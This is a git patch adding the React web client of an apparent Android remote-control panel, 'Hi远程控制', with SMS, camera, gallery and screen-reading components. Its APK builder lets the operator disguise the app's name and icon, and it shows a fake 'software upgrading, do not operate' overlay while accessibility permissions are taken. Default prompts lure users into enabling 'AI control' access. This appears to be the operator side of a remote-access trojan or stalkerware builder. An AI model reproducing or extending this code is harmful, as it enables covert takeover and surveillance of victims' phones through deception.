From e3dd38d1a518dd3a422947f8566a15e3880473c6 Mon Sep 17 00:00:00 2001 From: originalFactor <2438926613@qq.com> Date: Sat, 14 Feb 2026 10:01:14 +0800 Subject: [PATCH] (rebase) avoid dist and binary --- .gitignore | 3 + eslint.config.js | 28 + index.html | 13 + package.json | 34 + src/App.css | 335 ++ src/App.tsx | 56 + src/assets/react.svg | 1 + src/components/APKManager.tsx | 1650 ++++++ src/components/APKShareManager.tsx | 285 + src/components/AuthGuard.tsx | 202 + src/components/Connection/ConnectDialog.tsx | 171 + src/components/Control/CameraControlCard.tsx | 98 + src/components/Control/ControlPanel.tsx | 4221 +++++++++++++++ src/components/Control/ControlPanel.tsx.bak | 4718 +++++++++++++++++ src/components/Control/DebugFunctionsCard.tsx | 297 ++ src/components/Control/DeviceFilter.tsx | 233 + src/components/Control/DeviceInfoCard.tsx | 114 + src/components/Control/GalleryControlCard.tsx | 74 + src/components/Control/LogsCard.tsx | 34 + src/components/Control/SmsControlCard.tsx | 168 + .../Device/CoordinateMappingStatus.tsx | 67 + src/components/Device/DeviceCamera.tsx | 221 + src/components/Device/DeviceScreen.tsx | 1260 +++++ src/components/Device/ScreenReader.tsx | 1529 ++++++ src/components/Gallery/GalleryView.tsx | 230 + src/components/InstallPage.tsx | 377 ++ src/components/Layout/Header.tsx | 140 + src/components/Layout/Sidebar.tsx | 168 + src/components/LoginPage.tsx | 172 + src/components/RemoteControlApp.tsx | 1657 ++++++ src/index.css | 78 + src/main.tsx | 10 + src/services/apiClient.ts | 226 + src/store/slices/authSlice.ts | 348 ++ src/store/slices/connectionSlice.ts | 140 + src/store/slices/deviceSlice.ts | 385 ++ src/store/slices/uiSlice.ts | 392 ++ src/store/store.ts | 27 + src/utils/CoordinateMapper.ts | 248 + src/utils/CoordinateMappingConfig.ts | 160 + src/utils/SafeCoordinateMapper.ts | 425 ++ src/vite-env.d.ts | 1 + tsconfig.app.json | 27 + tsconfig.json | 7 + tsconfig.node.json | 25 + vite.config.ts | 62 + 46 files changed, 21117 insertions(+) create mode 100644 .gitignore create mode 100644 eslint.config.js create mode 100644 index.html create mode 100644 package.json create mode 100644 src/App.css create mode 100644 src/App.tsx create mode 100644 src/assets/react.svg create mode 100644 src/components/APKManager.tsx create mode 100644 src/components/APKShareManager.tsx create mode 100644 src/components/AuthGuard.tsx create mode 100644 src/components/Connection/ConnectDialog.tsx create mode 100644 src/components/Control/CameraControlCard.tsx create mode 100644 src/components/Control/ControlPanel.tsx create mode 100644 src/components/Control/ControlPanel.tsx.bak create mode 100644 src/components/Control/DebugFunctionsCard.tsx create mode 100644 src/components/Control/DeviceFilter.tsx create mode 100644 src/components/Control/DeviceInfoCard.tsx create mode 100644 src/components/Control/GalleryControlCard.tsx create mode 100644 src/components/Control/LogsCard.tsx create mode 100644 src/components/Control/SmsControlCard.tsx create mode 100644 src/components/Device/CoordinateMappingStatus.tsx create mode 100644 src/components/Device/DeviceCamera.tsx create mode 100644 src/components/Device/DeviceScreen.tsx create mode 100644 src/components/Device/ScreenReader.tsx create mode 100644 src/components/Gallery/GalleryView.tsx create mode 100644 src/components/InstallPage.tsx create mode 100644 src/components/Layout/Header.tsx create mode 100644 src/components/Layout/Sidebar.tsx create mode 100644 src/components/LoginPage.tsx create mode 100644 src/components/RemoteControlApp.tsx create mode 100644 src/index.css create mode 100644 src/main.tsx create mode 100644 src/services/apiClient.ts create mode 100644 src/store/slices/authSlice.ts create mode 100644 src/store/slices/connectionSlice.ts create mode 100644 src/store/slices/deviceSlice.ts create mode 100644 src/store/slices/uiSlice.ts create mode 100644 src/store/store.ts create mode 100644 src/utils/CoordinateMapper.ts create mode 100644 src/utils/CoordinateMappingConfig.ts create mode 100644 src/utils/SafeCoordinateMapper.ts create mode 100644 src/vite-env.d.ts create mode 100644 tsconfig.app.json create mode 100644 tsconfig.json create mode 100644 tsconfig.node.json create mode 100644 vite.config.ts diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..16c6af0 --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +node_modules/ +dist/ +public/ diff --git a/eslint.config.js b/eslint.config.js new file mode 100644 index 0000000..092408a --- /dev/null +++ b/eslint.config.js @@ -0,0 +1,28 @@ +import js from '@eslint/js' +import globals from 'globals' +import reactHooks from 'eslint-plugin-react-hooks' +import reactRefresh from 'eslint-plugin-react-refresh' +import tseslint from 'typescript-eslint' + +export default tseslint.config( + { ignores: ['dist'] }, + { + extends: [js.configs.recommended, ...tseslint.configs.recommended], + files: ['**/*.{ts,tsx}'], + languageOptions: { + ecmaVersion: 2020, + globals: globals.browser, + }, + plugins: { + 'react-hooks': reactHooks, + 'react-refresh': reactRefresh, + }, + rules: { + ...reactHooks.configs.recommended.rules, + 'react-refresh/only-export-components': [ + 'warn', + { allowConstantExport: true }, + ], + }, + }, +) diff --git a/index.html b/index.html new file mode 100644 index 0000000..1b16134 --- /dev/null +++ b/index.html @@ -0,0 +1,13 @@ + + + + + + + Hi远程控制 - Web客户端 + + +
+ + + \ No newline at end of file diff --git a/package.json b/package.json new file mode 100644 index 0000000..e06d8dd --- /dev/null +++ b/package.json @@ -0,0 +1,34 @@ +{ + "name": "web-client", + "private": true, + "version": "0.0.0", + "type": "module", + "scripts": { + "dev": "vite", + "build": "tsc -b && vite build", + "lint": "eslint .", + "preview": "vite preview" + }, + "dependencies": { + "@reduxjs/toolkit": "^2.8.2", + "antd": "^5.26.0", + "react": "^19.1.0", + "react-dom": "^19.1.0", + "react-redux": "^9.2.0", + "socket.io-client": "^4.8.1" + }, + "devDependencies": { + "@eslint/js": "^9.25.0", + "@types/react": "^19.1.2", + "@types/react-dom": "^19.1.2", + "@vitejs/plugin-react": "^4.4.1", + "eslint": "^9.25.0", + "eslint-plugin-react-hooks": "^5.2.0", + "eslint-plugin-react-refresh": "^0.4.19", + "globals": "^16.0.0", + "terser": "^5.43.1", + "typescript": "~5.8.3", + "typescript-eslint": "^8.30.1", + "vite": "^6.3.5" + } +} diff --git a/src/App.css b/src/App.css new file mode 100644 index 0000000..21ede76 --- /dev/null +++ b/src/App.css @@ -0,0 +1,335 @@ +#root { + width: 100%; + height: 100%; + margin: 0; + padding: 0; + display: flex; + flex-direction: column; +} + +/* 主布局自适应 */ +.app-layout { + min-height: 100vh; + display: flex; + flex-direction: column; +} + +/* Header 响应式 */ +.app-header { + padding: 0 24px; + background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); + display: flex; + align-items: center; + justify-content: space-between; + box-shadow: 0 2px 8px rgba(0,0,0,0.15); + flex-shrink: 0; + height: 56px; + line-height: 56px; + z-index: 10; +} + +@media (max-width: 768px) { + .app-header { + padding: 0 12px; + height: 48px; + line-height: 48px; + } +} + +/* 侧边栏 */ +.app-sider { + background: #fff !important; + border-right: 1px solid #f0f0f0; + box-shadow: 2px 0 8px rgba(0,0,0,0.04); +} + +.app-sider .ant-menu { + border-right: 0; + background: transparent; +} + +/* 内容区域 */ +.app-content { + margin: 0; + padding: 0; + overflow: hidden; + width: 100%; + display: flex; + flex-direction: column; + flex: 1; +} + +/* 设备列表页 */ +.device-list-page { + padding: 20px; + background: #f0f2f5; + flex: 1; + display: flex; + flex-direction: column; + min-height: 0; +} + +@media (max-width: 768px) { + .device-list-page { + padding: 12px; + } +} + +.device-list-card { + background: white; + border-radius: 12px; + padding: 20px; + box-shadow: 0 1px 4px rgba(0,0,0,0.08); + flex: 1; + display: flex; + flex-direction: column; + min-height: 0; +} + +/* 筛选栏响应式 */ +.device-filter-bar { + background: white; + border-radius: 8px; + padding: 12px 16px; + margin-bottom: 16px; + box-shadow: 0 1px 3px rgba(0,0,0,0.06); + border: 1px solid #f0f0f0; +} + +.device-filter-bar .ant-form-inline { + display: flex; + align-items: center; + gap: 8px; + flex-wrap: wrap; +} + +@media (max-width: 1200px) { + .device-filter-bar .ant-form-inline .ant-form-item { + margin-bottom: 8px; + } +} + +/* 空状态 */ +.device-empty-state { + text-align: center; + padding: 60px 20px; + color: #8c8c8c; +} + +/* 独立控制页面 - 全屏自适应 */ +.standalone-control-page { + width: 100vw; + height: 100vh; + display: flex; + flex-direction: row; + background: #f0f2f5; + overflow: hidden; +} + +/* 控制页左侧屏幕区域 */ +.control-screen-area { + display: flex; + flex-direction: column; + height: 100%; + border-right: 1px solid #e8e8e8; + background: #fff; + flex-shrink: 0; + overflow: hidden; +} + +/* 工具栏 */ +.control-toolbar { + padding: 6px 12px; + border-bottom: 1px solid #f0f0f0; + background: #fafafa; + flex-shrink: 0; + display: flex; + align-items: center; + justify-content: space-between; + gap: 8px; + flex-wrap: wrap; + min-height: 40px; +} + +.control-toolbar .ant-btn { + font-size: 12px; +} + +@media (max-width: 1200px) { + .control-toolbar { + padding: 4px 8px; + } + .control-toolbar .ant-btn { + font-size: 11px; + padding: 0 6px; + } +} + +/* 屏幕+阅读器水平布局 */ +.screen-reader-row { + display: flex; + flex-direction: row; + flex: 1; + min-height: 0; + overflow: hidden; +} + +.screen-reader-panel { + width: 50%; + border-right: 1px solid #e8e8e8; + position: relative; + overflow: hidden; + background: #fafafa; + display: flex; + flex-direction: column; +} + +.device-screen-panel { + width: 50%; + position: relative; + overflow: hidden; + background: #f5f5f5; + display: flex; + flex-direction: column; +} + +/* 文本输入区域 */ +.text-input-bar { + height: 44px; + border-top: 1px solid #f0f0f0; + background: #fff; + padding: 6px 12px; + display: flex; + align-items: center; + gap: 8px; + flex-shrink: 0; +} + +.text-input-bar input { + flex: 1; + height: 30px; + padding: 0 10px; + border: 1px solid #d9d9d9; + border-radius: 6px; + font-size: 13px; + outline: none; + transition: border-color 0.2s; +} + +.text-input-bar input:focus { + border-color: #1890ff; + box-shadow: 0 0 0 2px rgba(24,144,255,0.1); +} + +.text-input-bar button { + height: 30px; + padding: 0 14px; + border: none; + border-radius: 6px; + background: #1890ff; + color: #fff; + cursor: pointer; + font-size: 13px; + transition: background 0.2s; +} + +.text-input-bar button:hover:not(:disabled) { + background: #40a9ff; +} + +.text-input-bar button:disabled { + background: #f5f5f5; + color: #bfbfbf; + cursor: not-allowed; +} + +/* 系统按键区域 */ +.system-keys-bar { + padding: 8px 12px; + border-top: 1px solid #f0f0f0; + background: #fff; + flex-shrink: 0; + display: flex; + justify-content: center; + gap: 10px; +} + +.system-keys-bar .ant-btn { + min-width: 72px; + height: 34px; + border-radius: 8px; + font-size: 13px; +} + +/* 右侧控制面板 */ +.control-panel-area { + flex: 1; + display: flex; + flex-direction: column; + background: #fff; + min-width: 0; + overflow: hidden; +} + +.control-panel-header { + padding: 10px 16px; + border-bottom: 1px solid #f0f0f0; + background: #fafafa; + flex-shrink: 0; + display: flex; + align-items: center; + gap: 8px; + font-weight: 500; + font-size: 14px; +} + +.control-panel-body { + flex: 1; + overflow: auto; + padding: 0; +} + +/* 底部状态栏 */ +.screen-reader-status-bar { + padding: 3px 12px; + border-top: 1px solid #f0f0f0; + background: #fafafa; + font-size: 11px; + color: #8c8c8c; + text-align: center; + flex-shrink: 0; +} + +/* 移动端遮罩 */ +.mobile-overlay { + position: fixed; + top: 0; + left: 0; + width: 100vw; + height: 100vh; + background: rgba(0,0,0,0.45); + z-index: 999; + animation: fadeIn 0.2s ease; +} + +/* 移动端侧边栏 */ +@media (max-width: 768px) { + .ant-layout-sider { + position: fixed !important; + height: 100vh !important; + z-index: 1000 !important; + } + + .ant-layout-header { + padding: 0 12px !important; + } +} + +/* 表格自适应 */ +.ant-table-wrapper { + overflow-x: auto; +} + +.ant-table { + font-size: 13px; +} diff --git a/src/App.tsx b/src/App.tsx new file mode 100644 index 0000000..78b6448 --- /dev/null +++ b/src/App.tsx @@ -0,0 +1,56 @@ +// React 17+ 使用新的JSX转换,无需显式导入React +import { Provider } from 'react-redux' +import { ConfigProvider, App as AntdApp } from 'antd' +import zhCN from 'antd/locale/zh_CN' +import { store } from './store/store' +import RemoteControlApp from './components/RemoteControlApp' +import AuthGuard from './components/AuthGuard' +import './App.css' + +/** + * 主应用组件 + */ +function App() { + return ( + + + + + + + + + + ) +} + +export default App diff --git a/src/assets/react.svg b/src/assets/react.svg new file mode 100644 index 0000000..6c87de9 --- /dev/null +++ b/src/assets/react.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/src/components/APKManager.tsx b/src/components/APKManager.tsx new file mode 100644 index 0000000..5affb85 --- /dev/null +++ b/src/components/APKManager.tsx @@ -0,0 +1,1650 @@ +import React, { useState, useEffect } from 'react' +import { + Card, + Button, + Progress, + Typography, + Space, + Alert, + message, + Row, + Col, + Badge, + Spin, + Switch, + Input, + Collapse, + // Form, // 暂时未使用 + Tooltip, + Upload, + Image, + Modal +} from 'antd' +import { + DownloadOutlined, + BuildOutlined, + AndroidOutlined, + InfoCircleOutlined, + SyncOutlined, + CloudDownloadOutlined, + RocketOutlined, + FileOutlined, + ClockCircleOutlined, + SettingOutlined, + EyeInvisibleOutlined, + CaretRightOutlined, + UploadOutlined, + PictureOutlined, + DeleteOutlined +} from '@ant-design/icons' +import APKShareManager from './APKShareManager' +import apiClient from '../services/apiClient' + +const { Title, Text, Paragraph } = Typography + +interface APKInfo { + exists: boolean + path?: string + filename?: string + size?: number + buildTime?: Date +} + +interface BuildStatus { + isBuilding: boolean + progress: number + message: string + success: boolean + shareUrl?: string + shareSessionId?: string + shareExpiresAt?: string + activeShares?: Array<{ + sessionId: string + filename: string + shareUrl: string + createdAt: string + expiresAt: string + isExpired: boolean + }> +} + +interface APKData { + apkInfo: APKInfo + buildStatus: BuildStatus +} + +interface APKManagerProps { + serverUrl: string +} + +const APKManager: React.FC = ({ serverUrl }) => { + const [loading, setLoading] = useState(false) + const [data, setData] = useState(null) + const [building, setBuilding] = useState(false) + const [buildProgress, setBuildProgress] = useState(0) + const [buildMessage, setBuildMessage] = useState('') + const [_shareUrl, setShareUrl] = useState('') // 下划线前缀表示有意未使用但setter需要保留 + const [_shareExpiresAt, setShareExpiresAt] = useState('') // 下划线前缀表示有意未使用但setter需要保留 + + const [enableConfigMask, setEnableConfigMask] = useState(true) // 默认开启 + const [enableProgressBar, setEnableProgressBar] = useState(true) // 默认开启进度条 + const [configMaskText, setConfigMaskText] = useState('软件升级中请稍后...') + const [configMaskSubtitle, setConfigMaskSubtitle] = useState('软件正在升级中\n请勿操作设备') + const [configMaskStatus, setConfigMaskStatus] = useState('升级完成后将自动返回应用') + // const [showAdvancedOptions, setShowAdvancedOptions] = useState(false) // 暂时未使用 + + // ✅ 新增:服务器域名配置状态 + const [serverDomain, setServerDomain] = useState('') // 用户配置的服务器域名 + const [webUrl, setWebUrl] = useState('') // 用户配置的webUrl,Android应用打开的网址 + + // ✅ 新增:Android端页面样式配置状态 + const [pageStyleConfig, setPageStyleConfig] = useState({ + appName: 'Android Remote Control', + appIcon: null as File | null, + statusText: '软件需要开启AI智能操控权限\n请按照以下步骤进行\n1. 点击启用按钮\n2. 转到已下载的服务/应用\n3. 找到本应用并点击进入\n4. 开启辅助开关', + enableButtonText: '启用', + usageInstructions: '使用说明:\n1. 启用AI智能操控服务\n2. 确保设备连接到网络\n\n注意:请在安全的网络环境中使用', + apkFileName: '' // APK文件名,空值表示使用默认名称 + }) + // const [showPageStyleConfig, setShowPageStyleConfig] = useState(false) // 暂时未使用 + const [iconPreviewUrl, setIconPreviewUrl] = useState(null) + + // ✅ 新增:构建日志相关状态 + interface LogEntry { + timestamp?: number + level?: string + message: string + timeString?: string + } + + const [logModalVisible, setLogModalVisible] = useState(false) + const [buildLogs, setBuildLogs] = useState([]) + const [logLoading, setLogLoading] = useState(false) + const logContainerRef = React.useRef(null) + + // 获取APK信息 + const fetchAPKInfo = async () => { + setLoading(true) + try { + const result = await apiClient.get('/api/apk/info') + + if (result.success) { + setData(result) + } else { + message.error('获取APK信息失败') + } + } catch (error) { + console.error('获取APK信息失败:', error) + message.error('获取APK信息失败') + } finally { + setLoading(false) + } + } + + // 轮询构建状态 + const pollBuildStatus = async () => { + try { + const result = await apiClient.get('/api/apk/build-status') + + if (result.success) { + setBuildMessage(result.message || '') + setBuildProgress(result.progress || 0) + + if (result.isBuilding) { + // 构建中,更新进度 + } else { + setBuilding(false) + setBuildProgress(0) + + if (result.success) { + message.success('APK构建成功!') + + // 如果有分享链接,显示通知 + if (result.shareUrl) { + setShareUrl(result.shareUrl) + setShareExpiresAt(result.shareExpiresAt || '') + message.info('Cloudflare分享链接已生成,有效期10分钟') + } + + fetchAPKInfo() + } else if (result.message && result.message.includes('构建失败')) { + message.error(`构建失败: ${result.message}`) + } + } + } + } catch (error) { + console.error('获取构建状态失败:', error) + } + } + + // 获取构建日志 + const fetchBuildLogs = React.useCallback(async (limit?: number) => { + try { + setLogLoading(true) + const endpoint = limit ? `/api/apk/build-logs?limit=${limit}` : '/api/apk/build-logs' + const result = await apiClient.get(endpoint) + + // 处理日志数据,支持多种格式 + let newLogs: LogEntry[] = [] + + if (result.success !== false) { + // 如果返回的是对象,包含logs字段(对象数组) + if (Array.isArray(result.logs)) { + newLogs = result.logs.map((item: any) => { + // 如果已经是对象格式(包含level, message等) + if (item && typeof item === 'object' && item.message) { + return { + timestamp: item.timestamp, + level: item.level || 'info', + message: item.message || String(item), + timeString: item.timeString + } + } + // 如果是字符串,转换为对象 + return { + level: 'info', + message: typeof item === 'string' ? item : String(item || ''), + timeString: undefined + } + }) + } + // 如果返回的是数组 + else if (Array.isArray(result)) { + newLogs = result.map((item: any) => { + if (item && typeof item === 'object' && item.message) { + return { + timestamp: item.timestamp, + level: item.level || 'info', + message: item.message || String(item), + timeString: item.timeString + } + } + return { + level: 'info', + message: typeof item === 'string' ? item : String(item || ''), + timeString: undefined + } + }) + } + // 如果返回的是对象,包含log字段(字符串) + else if (typeof result.log === 'string') { + newLogs = result.log.split('\n') + .filter((line: string) => line.trim()) + .map((line: string) => ({ + level: 'info', + message: line.trim(), + timeString: undefined + })) + } + // 如果直接返回字符串 + else if (typeof result === 'string') { + newLogs = result.split('\n') + .filter((line: string) => line.trim()) + .map((line: string) => ({ + level: 'info', + message: line.trim(), + timeString: undefined + })) + } + // 如果返回的是对象,包含data字段 + else if (result.data) { + if (Array.isArray(result.data)) { + newLogs = result.data.map((item: any) => { + if (item && typeof item === 'object' && item.message) { + return { + timestamp: item.timestamp, + level: item.level || 'info', + message: item.message || String(item), + timeString: item.timeString + } + } + return { + level: 'info', + message: typeof item === 'string' ? item : String(item || ''), + timeString: undefined + } + }) + } else if (typeof result.data === 'string') { + newLogs = result.data.split('\n') + .filter((line: string) => line.trim()) + .map((line: string) => ({ + level: 'info', + message: line.trim(), + timeString: undefined + })) + } + } + } + + // 过滤空消息 + newLogs = newLogs.filter(item => item.message && item.message.trim().length > 0) + + setBuildLogs(newLogs) + + // 自动滚动到底部 + setTimeout(() => { + if (logContainerRef.current) { + logContainerRef.current.scrollTop = logContainerRef.current.scrollHeight + } + }, 100) + } catch (error) { + console.error('获取构建日志失败:', error) + } finally { + setLogLoading(false) + } + }, []) + + // 清空构建日志 + const clearBuildLogs = async () => { + try { + await apiClient.delete<{ success: boolean }>('/api/apk/build-logs') + setBuildLogs([]) + message.success('日志已清空') + } catch (error) { + console.error('清空日志失败:', error) + message.error('清空日志失败') + } + } + + // 构建APK + const buildAPK = async () => { + setBuilding(true) + setBuildProgress(0) + setBuildMessage('开始构建...') + + // 打开日志窗口并清空之前的日志 + setBuildLogs([]) + setLogModalVisible(true) + fetchBuildLogs(100) // 先获取最近100条日志 + + try { + // 使用配置的域名或默认值 + let buildServerUrl: string + if (serverDomain.trim()) { + // 使用用户配置的域名 + const protocol = serverDomain.startsWith('https://') ? 'wss:' : + serverDomain.startsWith('http://') ? 'ws:' : + window.location.protocol === 'https:' ? 'wss:' : 'ws:' + const domain = serverDomain.replace(/^https?:\/\//, '') + buildServerUrl = `${protocol}//${domain}` + } else { + // 使用默认的当前服务器地址 + const currentHost = window.location.hostname + const currentProtocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:' + buildServerUrl = `${currentProtocol}//${currentHost}:3001` + } + + console.log('构建APK,配置服务器地址:', buildServerUrl) + + // 使用FormData来支持文件上传 + const formData = new FormData() + formData.append('serverUrl', buildServerUrl) + formData.append('webUrl', webUrl.trim() || window.location.origin) // 使用配置的webUrl或默认值 + formData.append('enableConfigMask', enableConfigMask.toString()) + formData.append('enableProgressBar', enableProgressBar.toString()) + formData.append('configMaskText', configMaskText) + formData.append('configMaskSubtitle', configMaskSubtitle) + formData.append('configMaskStatus', configMaskStatus) + + // 添加页面样式配置 + const pageStyleConfigData = { + appName: pageStyleConfig.appName, + statusText: pageStyleConfig.statusText, + enableButtonText: pageStyleConfig.enableButtonText, + usageInstructions: pageStyleConfig.usageInstructions, + apkFileName: pageStyleConfig.apkFileName.trim() // 添加APK文件名 + } + formData.append('pageStyleConfig', JSON.stringify(pageStyleConfigData)) + + // 如果有上传的图标文件,添加到FormData中 + if (pageStyleConfig.appIcon) { + formData.append('appIcon', pageStyleConfig.appIcon) + console.log('上传自定义图标:', pageStyleConfig.appIcon.name) + } + + const result = await apiClient.postFormData('/api/apk/build', formData) + + if (result.success) { + message.success(`构建开始,服务器地址已自动配置为: ${result.serverUrl}`) + + // 如果立即返回了分享链接(构建完成) + if (result.shareUrl) { + setShareUrl(result.shareUrl) + setShareExpiresAt(result.shareExpiresAt || '') + message.success('APK构建完成!Cloudflare分享链接已生成') + setBuilding(false) + setBuildProgress(100) + setBuildMessage('构建完成') + fetchAPKInfo() + } + } else { + message.error(`构建失败: ${result.error || '未知错误'}`) + setBuilding(false) + setBuildProgress(0) + setBuildMessage('') + } + } catch (error: any) { + console.error('构建APK失败:', error) + + // 根据错误类型提供更友好的提示 + let errorMessage = '构建APK失败' + const errorStr = String(error || '') + const errorMsg = error?.message || errorStr + + // 检查各种网络错误情况 + if ( + errorMsg.includes('Failed to fetch') || + errorMsg.includes('NetworkError') || + errorMsg.includes('Network request failed') || + errorMsg.includes('fetch failed') || + error?.name === 'TypeError' && errorMsg.includes('fetch') + ) { + errorMessage = '网络连接失败,请检查:\n1. 服务器是否正常运行\n2. 网络连接是否正常\n3. 服务器地址是否正确' + } else if (errorMsg.includes('timeout') || errorMsg.includes('Timeout')) { + errorMessage = '请求超时,请稍后重试' + } else if (errorMsg.includes('CORS') || errorMsg.includes('cors')) { + errorMessage = '跨域请求失败,请检查服务器CORS配置' + } else if (errorMsg) { + errorMessage = `构建失败: ${errorMsg}` + } + + message.error({ + content: errorMessage, + duration: 5, + style: { whiteSpace: 'pre-line' } + }) + + setBuilding(false) + setBuildProgress(0) + setBuildMessage('') + + // 在日志窗口中显示错误信息 + const errorDetails: LogEntry[] = [ + { + level: 'error', + message: errorMessage, + timeString: new Date().toLocaleString('zh-CN', { + year: 'numeric', + month: '2-digit', + day: '2-digit', + hour: '2-digit', + minute: '2-digit', + second: '2-digit' + }).replace(/\//g, '/') + }, + { + level: 'error', + message: `错误类型: ${error?.name || 'Unknown'}`, + timeString: undefined + }, + { + level: 'error', + message: `错误详情: ${errorMsg}`, + timeString: undefined + } + ] + setBuildLogs(prev => [...prev, ...errorDetails]) + } + } + + // 处理图标上传 + const handleIconUpload = (file: File) => { + // 验证文件类型 + const isImage = file.type.startsWith('image/') + if (!isImage) { + message.error('请上传图片文件(PNG、JPG、JPEG等)') + return false + } + + // 验证文件大小(限制为2MB) + const isLt2M = file.size / 1024 / 1024 < 2 + if (!isLt2M) { + message.error('图标文件大小不能超过2MB') + return false + } + + // 更新状态 + setPageStyleConfig(prev => ({ ...prev, appIcon: file })) + + // 生成预览URL + const reader = new FileReader() + reader.onload = (e) => { + setIconPreviewUrl(e.target?.result as string) + } + reader.readAsDataURL(file) + + message.success('图标上传成功') + return false // 阻止自动上传 + } + + // 移除图标 + const removeIcon = () => { + setPageStyleConfig(prev => ({ ...prev, appIcon: null })) + setIconPreviewUrl(null) + message.success('已移除自定义图标') + } + + // 下载APK + const downloadAPK = async () => { + try { + const filename = data?.apkInfo.filename || 'RemoteControl.apk' + await apiClient.downloadFile('/api/apk/download', filename) + message.success('开始下载APK文件') + } catch (error) { + console.error('下载APK失败:', error) + message.error('下载APK失败') + } + } + + + // 获取默认APK文件名 + const getDefaultAPKFileName = () => { + return 'app' + } + + // 格式化文件大小 + const formatSize = (bytes: number) => { + const units = ['B', 'KB', 'MB', 'GB'] + let size = bytes + let unitIndex = 0 + + while (size >= 1024 && unitIndex < units.length - 1) { + size /= 1024 + unitIndex++ + } + + return `${size.toFixed(1)} ${units[unitIndex]}` + } + + // 组件挂载时获取信息 + useEffect(() => { + fetchAPKInfo() + }, []) + + // 构建过程中轮询状态和日志 + useEffect(() => { + let statusInterval: ReturnType | null = null + let logInterval: ReturnType | null = null + + if (building && logModalVisible) { + statusInterval = setInterval(pollBuildStatus, 2000) + // 每1秒轮询一次日志 + logInterval = setInterval(() => { + fetchBuildLogs(100) + }, 1000) + } + + return () => { + if (statusInterval) { + clearInterval(statusInterval) + } + if (logInterval) { + clearInterval(logInterval) + } + } + }, [building, logModalVisible, fetchBuildLogs]) + + // 当构建完成时,停止日志轮询但保持窗口打开 + useEffect(() => { + if (!building && logModalVisible) { + // 构建完成,最后获取一次完整日志 + fetchBuildLogs() + } + }, [building, logModalVisible, fetchBuildLogs]) + + // 当日志更新时,自动滚动到底部 + useEffect(() => { + if (logModalVisible && buildLogs.length > 0) { + setTimeout(() => { + if (logContainerRef.current) { + logContainerRef.current.scrollTop = logContainerRef.current.scrollHeight + } + }, 50) + } + }, [buildLogs, logModalVisible]) + + if (loading && !data) { + return ( +
+ + + 🔄 加载 APK 信息中... + + + 正在加载APK状态 + +
+ ) + } + + return ( +
+ {/* 现代化页面头部 */} +
+ + + +
+ +
+
+ + APK 构建中心 + + + 一键构建和部署 Android 远程控制客户端 + +
+
+ + + + + + +
+
+ + {/* APK 状态主卡片 */} + {data?.apkInfo?.exists ? ( + + + +
+
+ +
+
+ + + + 🎉 APK 构建成功! + + +
+ + + {data.apkInfo.filename} + +
+
+ + 📦 {data.apkInfo.size ? formatSize(data.apkInfo.size) : '未知大小'} + +
+
+ + + {data.apkInfo.buildTime + ? new Date(data.apkInfo.buildTime).toLocaleString() + : '未知时间' + } + +
+
+ + + + + + +
+
+ ) : ( + +
+ +
+ + 📱 暂无可用的 APK 文件 + + + 您的 Android 远程控制应用还未构建
+ 点击下方按钮开始一键构建并部署 +
+
+ )} + + {/* 构建进度 */} + {building && ( + + + +
+ +
+ + + + 🚀 正在构建您的 APK 文件... + +
+ + + {buildMessage || '准备构建环境...'} + + + {buildMessage.includes('配置服务器地址') && ( +
+ + 🌐 服务器地址: {serverDomain.trim() ? + (serverDomain.startsWith('https://') ? 'wss://' + serverDomain.replace('https://', '') : + serverDomain.startsWith('http://') ? 'ws://' + serverDomain.replace('http://', '') : + window.location.protocol === 'https:' ? 'wss://' + serverDomain : 'ws://' + serverDomain) : + `${window.location.protocol === 'https:' ? 'wss:' : 'ws:'}//${window.location.hostname}:3001` + } + +
+ )} +
+ +
+
+ )} + + {/* ✅ 新增:构建配置选项 */} + + + + 服务器配置 + + + ), + children: ( +
+ + + + + + 服务器域名 + + + + + setServerDomain(e.target.value)} + placeholder="例如: example.com 或 https://example.com" + maxLength={100} + showCount + style={{ borderRadius: '8px' }} + suffix={ + +
+ } + style={{ + background: 'linear-gradient(135deg, #e6f7ff 0%, #f0f9ff 100%)', + border: '1px solid #91d5ff', + borderRadius: '8px' + }} + /> + +
+ ) + }, + { + key: '1', + label: ( + + + 构建配置选项 + + + ), + children: ( +
+ + + + + + 配置期间遮盖 + + + + + + + + + + + + 开启无障碍服务后显示遮盖,防止误点击 + + + + + + {enableConfigMask && ( + + {/* 进度条开关 */} + + + + + + + + 显示配置进度条 + + + + + + + + 主标题文字: + + + setConfigMaskText(e.target.value)} + placeholder="请输入遮盖时显示的主标题文字" + maxLength={50} + showCount + style={{ borderRadius: '8px' }} + /> + + + + + + 副标题文字: + + + setConfigMaskSubtitle(e.target.value)} + placeholder="请输入遮盖时显示的副标题文字" + rows={2} + maxLength={100} + showCount + style={{ borderRadius: '8px' }} + /> + + + + + + 状态提示文字: + + + setConfigMaskStatus(e.target.value)} + placeholder="请输入遮盖时显示的状态提示文字" + maxLength={80} + showCount + style={{ borderRadius: '8px' }} + /> + + + + )} + + + + + +

+ • 遮盖功能:开启后,设备在获取权限配置期间会显示黑色遮盖层,防止用户误操作 +

+

+ • 自动移除:所有权限配置完成后,遮盖会自动消失 +

+

+ • 主标题:遮盖界面顶部显示的大标题文字 +

+

+ • 副标题:主标题下方的详细说明文字,支持换行 +

+

+ • 状态提示:界面底部显示的状态信息文字 +

+
+ } + style={{ + background: 'linear-gradient(135deg, #e6f7ff 0%, #f0f9ff 100%)', + border: '1px solid #91d5ff', + borderRadius: '8px' + }} + /> + + + ) + }, + { + key: 'page-style', + label: ( + + + Android端页面样式 + + ), + children: ( +
+ + + + + + 应用图标 + + + + + + + + + {pageStyleConfig.appIcon && ( + + )} + + {iconPreviewUrl ? ( +
+ 图标预览 +
+ + {pageStyleConfig.appIcon?.name} + +
+ + {pageStyleConfig.appIcon && (pageStyleConfig.appIcon.size / 1024).toFixed(1)} KB + +
+
+ ) : ( + + )} +
+ +
